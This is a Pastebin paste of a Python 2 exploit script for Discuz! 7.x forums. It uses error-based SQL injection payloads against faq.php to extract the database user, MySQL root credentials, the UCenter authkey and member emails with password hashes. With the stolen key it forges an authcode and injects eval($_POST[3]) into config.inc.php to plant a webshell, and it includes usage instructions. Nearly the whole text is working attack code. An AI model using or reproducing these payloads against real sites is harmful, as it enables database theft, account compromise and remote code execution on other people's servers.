Rwkregime

Untitled

Mar 21st, 2020
216
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.96 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- coding: gbk -*-
  3. # -*- coding: utf_8 -*-
  4. # author iswin
  5. import sys
  6. import hashlib
  7. import time
  8. import math
  9. import base64
  10. import urllib2
  11. import urllib
  12. import re
  13.  
  14. def sendRequest(url,para):
  15. try:
  16. data = urllib.urlencode(para)
  17. req=urllib2.Request(url,data)
  18. res=urllib2.urlopen(req,timeout=20).read()
  19. except Exception, e:
  20. print 'Exploit Failed!\n%s'%(e)
  21. exit(0);
  22. return res
  23.  
  24. def getTablePrefix(url):
  25. print 'Start GetTablePrefix...'
  26. para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select hex(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
  27. res=sendRequest(url,para);
  28. pre=re.findall("Duplicate entry '(.*?)'",res);
  29. if len(pre)==0:
  30. print 'Exploit Failed!'
  31. exit(0);
  32. table_pre=pre[0][:len(pre[0])-1].decode('hex')
  33. table_pre=table_pre[0:table_pre.index('_')]
  34. print 'Table_pre:%s'%(table_pre)
  35. return table_pre
  36.  
  37. def getCurrentUser(url):
  38. para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
  39. res=sendRequest(url,para)
  40. pre=re.findall("Duplicate entry '(.*?)'",res)
  41. if len(pre)==0:
  42. print 'Exploit Failed!'
  43. exit(0);
  44. table_pre=pre[0][:len(pre[0])-1]
  45. print 'Current User:%s'%(table_pre)
  46. return table_pre
  47.  
  48. def getUcKey(url):
  49. para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,1,62) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
  50. para1={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,63,2) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
  51. res=sendRequest(url,para);
  52. res1=sendRequest(url,para1);
  53. key1=re.findall("Duplicate entry '(.*?)'",res)
  54. key2=re.findall("Duplicate entry '(.*?)'",res1)
  55. if len(key1)==0:
  56. print 'Get Uc_Key Failed!'
  57. return ''
  58. key=key1[0][:len(key1[0])-1]+key2[0][:len(key2[0])-1]
  59. print 'uc_key:%s'%(key)
  60. return key
  61.  
  62. def getRootUser(url):
  63. para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(user,0x20,password,0x20,email) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
  64. res=sendRequest(url,para);
  65. pre=re.findall("Duplicate entry '(.*?)'",res)
  66. if len(pre)==0:
  67. print 'Exploit Failed!'
  68. exit(0);
  69. table_pre=pre[0][:len(pre[0])-1].split(' ')
  70. print 'root info:\nuser:%s password:%s email:%s'%(table_pre[0],table_pre[1])
  71.  
  72. def dumpData(url,table_prefix,count):
  73. para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(email,0x20,password,0x20,email) from %s_members limit %d,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'%(table_prefix,count)}
  74. res=sendRequest(url,para);
  75. datas=re.findall("Duplicate entry '(.*?)'",res)
  76. if len(datas)==0:
  77. print 'Exploit Failed!'
  78. exit(0)
  79. cleandata=datas[0][:len(datas[0])-1]
  80. info=cleandata.split(' ')
  81. print 'user:%s pass:%s'%(info[0],info[1])
  82.  
  83. def microtime(get_as_float = False) :
  84. if get_as_float:
  85. return time.time()
  86. else:
  87. return '%.8f %d' % math.modf(time.time())
  88.  
  89. def get_authcode(string, key = ''):
  90. ckey_length = 4
  91. key = hashlib.md5(key).hexdigest()
  92. keya = hashlib.md5(key[0:16]).hexdigest()
  93. keyb = hashlib.md5(key[16:32]).hexdigest()
  94. keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]
  95. cryptkey = keya + hashlib.md5(keya+keyc).hexdigest()
  96. key_length = len(cryptkey)
  97. string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string
  98. string_length = len(string)
  99. result = ''
  100. box = range(0, 256)
  101. rndkey = dict()
  102. for i in range(0,256):
  103. rndkey[i] = ord(cryptkey[i % key_length])
  104. j=0
  105. for i in range(0,256):
  106. j = (j + box[i] + rndkey[i]) % 256
  107. tmp = box[i]
  108. box[i] = box[j]
  109. box[j] = tmp
  110. a=0
  111. j=0
  112. for i in range(0,string_length):
  113. a = (a + 1) % 256
  114. j = (j + box[a]) % 256
  115. tmp = box[a]
  116. box[a] = box[j]
  117. box[j] = tmp
  118. result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))
  119. return keyc + base64.b64encode(result).replace('=', '')
  120.  
  121. def get_shell(url,key,host):
  122. headers={'Accept-Language':'zh-cn',
  123. 'Content-Type':'application/x-www-form-urlencoded',
  124. 'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',
  125. 'Referer':url
  126. }
  127. tm = time.time()+10*3600
  128. tm="time=%d&action=updateapps" %tm
  129. code = urllib.quote(get_authcode(tm,key))
  130. url=url+"?code="+code
  131. data1='''<?xml version="1.0" encoding="ISO-8859-1"?>
  132. <root>
  133. <item id="UC_API">http://xxx\');eval($_POST[3]);//</item>
  134. </root>'''
  135. try:
  136. req=urllib2.Request(url,data=data1,headers=headers)
  137. ret=urllib2.urlopen(req)
  138. except:
  139. return "Exploit Falied"
  140. data2='''<?xml version="1.0" encoding="ISO-8859-1"?>
  141. <root>
  142. <item id="UC_API">http://aaa</item>
  143. </root>'''
  144. try:
  145. req=urllib2.Request(url,data=data2,headers=headers)
  146. ret=urllib2.urlopen(req)
  147. except:
  148. return "error"
  149.  
  150. try:
  151. req=urllib2.Request(host+'/config.inc.php')
  152. res=urllib2.urlopen(req,timeout=20).read()
  153. except Exception, e:
  154. print 'GetWebshell Failed,%s'%(e)
  155. return
  156. print "webshell:"+host+"/config.inc.php,password:3"
  157. if __name__ == '__main__':
  158. print 'DZ7.x Exp Code By iswin'
  159. if len(sys.argv)<3:
  160. print 'DZ7.x Exp Code By iswin\nusage:python dz7.py http://www.iswin.org 10'
  161. exit(0)
  162. url=sys.argv[1]+'/faq.php'
  163. count=int(sys.argv[2])
  164. user=getCurrentUser(url)
  165. if user.startswith('root@'):
  166. getRootUser(url)
  167. uc_key=getUcKey(url)
  168. if len(uc_key)==64:
  169. print 'Start GetWebshell...'
  170. get_shell(sys.argv[1]+'/api/uc.php',uc_key,sys.argv[1])
  171. tb_pre=getTablePrefix(url)
  172. print 'Start DumpData...'
  173. for x in xrange(0,count):
  174. dumpData(url,tb_pre,x)
Add Comment
Please, Sign In to add comment